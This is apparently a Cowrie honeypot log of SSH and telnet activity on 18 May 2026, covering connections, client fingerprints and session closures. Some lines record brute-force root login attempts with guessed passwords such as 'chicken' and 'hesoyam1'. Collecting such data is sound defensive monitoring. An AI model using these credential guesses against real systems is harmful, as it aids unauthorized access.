{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:c4:a1:ef:ac:4e:d7:b6:7b:83:de:b9:f2:ab:63:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPOqQIwsv3lBLOv2kmjS0RJyKcr6bt+NSI475zXMGCg31jNgby2TZ6aZpZjDxyniizrVtj1xqdKavaYcOrJsZFF0UxgLQFHy1fbKuM5ap7IVqSHNNtU+gv24Mvq2DBgPEZMew4FyXivquohej+qhSPrrMtu9qbOn3BIBzFyUH2nnrfBWz+NaWsEFPbjzsUHY/njX5DpooVDBcveiXb2kJvCpcz8FYX9WKRsDEiFx25fVbYgg9ZgTsDjJoUIdPVR/iHM1WMAVGfVetXX7hT1CNxR0i5+MUHhxEFzqC/AIWxTQHY1ogk92523atO9Fc/+/wLf7WD5tPfSKhxbCvSlDOceF/T18l7ilLCECeo14WRC3JmHqP8qSMHzZncGxN3uyFhx1UTc1JF9lZTeed3v6oF0aZtOKmCUa62+qfjfSANvwAi6UFcGLnBDQrCQJZzNIOG6MQ+AThOpho1LNR0nh/Fw96qSf/ls63E6iyzPG4+VNC43Ei2X/LWA+3GS0bws3U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:34.159462Z","src_ip":"31.42.176.142","session":"d578025a48d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:34.242791Z","src_ip":"31.42.176.142","session":"d578025a48d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.62256383895874,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:47.684965Z","src_ip":"152.42.224.71","session":"f8a97cf4bac3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":50846,"dst_ip":"10.17.0.5","dst_port":22,"session":"656cbf353c33","protocol":"ssh","message":"New connection: 103.15.222.183:50846 (10.17.0.5:22) [session: 656cbf353c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:52.326650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:52.330751Z","src_ip":"103.15.222.183","session":"656cbf353c33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:52.579655Z","src_ip":"103.15.222.183","session":"656cbf353c33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5t4r3e2w1q","message":"login attempt [root/5t4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:53.324813Z","src_ip":"103.15.222.183","session":"656cbf353c33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35054,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ad1071356e6","protocol":"telnet","message":"New connection: 152.42.224.71:35054 (10.17.0.5:23) [session: 8ad1071356e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:53.832649Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:54.575410Z","src_ip":"103.15.222.183","session":"656cbf353c33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00345540046692,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:57.021655Z","src_ip":"152.42.224.71","session":"5a67e093b2d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35108,"dst_ip":"10.17.0.5","dst_port":23,"session":"e05120528faa","protocol":"telnet","message":"New connection: 152.42.224.71:35108 (10.17.0.5:23) [session: e05120528faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:57.945824Z"}
{"eventid":"cowrie.session.closed","duration":6.227746248245239,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:30:00.060293Z","src_ip":"152.42.224.71","session":"8ad1071356e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":77.1244592666626,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:30:05.574900Z","src_ip":"152.42.224.71","session":"dc5d69645df7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46330,"dst_ip":"10.17.0.5","dst_port":23,"session":"841aafaa08aa","protocol":"telnet","message":"New connection: 152.42.224.71:46330 (10.17.0.5:23) [session: 841aafaa08aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:30:17.598554Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46334,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bc3b1fe050a","protocol":"telnet","message":"New connection: 152.42.224.71:46334 (10.17.0.5:23) [session: 9bc3b1fe050a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:30:19.389722Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46338,"dst_ip":"10.17.0.5","dst_port":23,"session":"39e78248cda3","protocol":"telnet","message":"New connection: 152.42.224.71:46338 (10.17.0.5:23) [session: 39e78248cda3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:30:24.137385Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44554,"dst_ip":"10.17.0.5","dst_port":23,"session":"23a4d6ae1f4e","protocol":"telnet","message":"New connection: 152.42.224.71:44554 (10.17.0.5:23) [session: 23a4d6ae1f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:30:38.467369Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":60936,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7767bd4c78a","protocol":"ssh","message":"New connection: 89.108.118.91:60936 (10.17.0.5:22) [session: a7767bd4c78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:30:39.250081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:30:39.254748Z","src_ip":"89.108.118.91","session":"a7767bd4c78a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:30:39.388362Z","src_ip":"89.108.118.91","session":"a7767bd4c78a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chicken","message":"login attempt [root/chicken] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:30:39.791639Z","src_ip":"89.108.118.91","session":"a7767bd4c78a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:30:40.927608Z","src_ip":"89.108.118.91","session":"a7767bd4c78a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44566,"dst_ip":"10.17.0.5","dst_port":23,"session":"76a8148f3e36","protocol":"telnet","message":"New connection: 152.42.224.71:44566 (10.17.0.5:23) [session: 76a8148f3e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:30:42.589909Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36002,"dst_ip":"10.17.0.5","dst_port":23,"session":"18153d18ccff","protocol":"telnet","message":"New connection: 152.42.224.71:36002 (10.17.0.5:23) [session: 18153d18ccff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:30:52.117288Z"}
{"eventid":"cowrie.session.closed","duration":45.58324575424194,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:03.181682Z","src_ip":"152.42.224.71","session":"841aafaa08aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.92386507987976,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:06.391129Z","src_ip":"152.42.224.71","session":"23a4d6ae1f4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57742,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a9d953411d0","protocol":"telnet","message":"New connection: 152.42.224.71:57742 (10.17.0.5:23) [session: 7a9d953411d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:06.993038Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57752,"dst_ip":"10.17.0.5","dst_port":23,"session":"8859c8fb50af","protocol":"telnet","message":"New connection: 152.42.224.71:57752 (10.17.0.5:23) [session: 8859c8fb50af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:07.277378Z"}
{"eventid":"cowrie.session.closed","duration":50.517061948776245,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:09.906649Z","src_ip":"152.42.224.71","session":"9bc3b1fe050a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57758,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b00042dd5a5","protocol":"telnet","message":"New connection: 152.42.224.71:57758 (10.17.0.5:23) [session: 6b00042dd5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:12.778529Z"}
{"eventid":"cowrie.session.closed","duration":32.23583936691284,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:14.825646Z","src_ip":"152.42.224.71","session":"76a8148f3e36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.4207398891449,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:18.558007Z","src_ip":"152.42.224.71","session":"39e78248cda3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43032,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1ab9f2f9103","protocol":"telnet","message":"New connection: 152.42.224.71:43032 (10.17.0.5:23) [session: f1ab9f2f9103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:23.796830Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":32976,"dst_ip":"10.17.0.5","dst_port":22,"session":"6098ac85e47d","protocol":"ssh","message":"New connection: 103.173.227.57:32976 (10.17.0.5:22) [session: 6098ac85e47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:31.088592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:31.092724Z","src_ip":"103.173.227.57","session":"6098ac85e47d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:31.328032Z","src_ip":"103.173.227.57","session":"6098ac85e47d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hesoyam1","message":"login attempt [root/hesoyam1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:32.034759Z","src_ip":"103.173.227.57","session":"6098ac85e47d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:33.273577Z","src_ip":"103.173.227.57","session":"6098ac85e47d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.7985520362854,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:34.744272Z","src_ip":"152.42.224.71","session":"e05120528faa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.077880859375,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:40.355137Z","src_ip":"152.42.224.71","session":"8859c8fb50af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.55464816093445,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:48.671824Z","src_ip":"152.42.224.71","session":"18153d18ccff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37850,"dst_ip":"10.17.0.5","dst_port":23,"session":"0375f81bd8bc","protocol":"telnet","message":"New connection: 152.42.224.71:37850 (10.17.0.5:23) [session: 0375f81bd8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:50.191036Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37866,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5d20ebbd55f","protocol":"telnet","message":"New connection: 152.42.224.71:37866 (10.17.0.5:23) [session: e5d20ebbd55f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:31:56.785728Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47634,"dst_ip":"10.17.0.5","dst_port":23,"session":"be5277a924b4","protocol":"telnet","message":"New connection: 152.42.224.71:47634 (10.17.0.5:23) [session: be5277a924b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:32:00.500265Z"}
{"eventid":"cowrie.session.closed","duration":38.76505899429321,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:32:02.561813Z","src_ip":"152.42.224.71","session":"f1ab9f2f9103","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58660,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e324532017d","protocol":"telnet","message":"New connection: 152.42.224.71:58660 (10.17.0.5:23) [session: 8e324532017d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:32:14.730734Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45848,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f8475cacb53","protocol":"telnet","message":"New connection: 152.42.224.71:45848 (10.17.0.5:23) [session: 6f8475cacb53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:32:26.717919Z"}
{"eventid":"cowrie.session.closed","duration":39.653828620910645,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:32:29.844743Z","src_ip":"152.42.224.71","session":"0375f81bd8bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45856,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe5dec0f34d6","protocol":"telnet","message":"New connection: 152.42.224.71:45856 (10.17.0.5:23) [session: fe5dec0f34d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:32:31.199913Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56988,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee5dc4e2e3a2","protocol":"telnet","message":"New connection: 152.42.224.71:56988 (10.17.0.5:23) [session: ee5dc4e2e3a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:32:36.350399Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56998,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d2ec3cd87e8","protocol":"telnet","message":"New connection: 152.42.224.71:56998 (10.17.0.5:23) [session: 5d2ec3cd87e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:32:37.372072Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57014,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed04508a1cbb","protocol":"telnet","message":"New connection: 152.42.224.71:57014 (10.17.0.5:23) [session: ed04508a1cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:32:39.238925Z"}
{"eventid":"cowrie.session.closed","duration":4.193496465682983,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:32:40.543774Z","src_ip":"152.42.224.71","session":"ee5dc4e2e3a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57030,"dst_ip":"10.17.0.5","dst_port":23,"session":"93482451715a","protocol":"telnet","message":"New connection: 152.42.224.71:57030 (10.17.0.5:23) [session: 93482451715a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:32:41.410450Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42166,"dst_ip":"10.17.0.5","dst_port":23,"session":"dad3a1112edd","protocol":"telnet","message":"New connection: 152.42.224.71:42166 (10.17.0.5:23) [session: dad3a1112edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:32:49.129323Z"}
{"eventid":"cowrie.session.closed","duration":53.57091283798218,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:32:50.356533Z","src_ip":"152.42.224.71","session":"e5d20ebbd55f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0017819404602,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:33:06.994717Z","src_ip":"152.42.224.71","session":"7a9d953411d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.93069839477539,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:33:11.648491Z","src_ip":"152.42.224.71","session":"6f8475cacb53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00253105163574,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:33:12.780949Z","src_ip":"152.42.224.71","session":"6b00042dd5a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.07310175895691,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:33:17.445096Z","src_ip":"152.42.224.71","session":"5d2ec3cd87e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.72730827331543,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:33:22.457911Z","src_ip":"152.42.224.71","session":"8e324532017d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36144,"dst_ip":"10.17.0.5","dst_port":23,"session":"54e8cd165475","protocol":"telnet","message":"New connection: 152.42.224.71:36144 (10.17.0.5:23) [session: 54e8cd165475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:33:33.822336Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60036,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f34e349f905","protocol":"telnet","message":"New connection: 152.42.224.71:60036 (10.17.0.5:23) [session: 8f34e349f905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:33:41.569798Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40344,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e39dcef101b","protocol":"telnet","message":"New connection: 152.42.224.71:40344 (10.17.0.5:23) [session: 4e39dcef101b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:33:46.746551Z"}
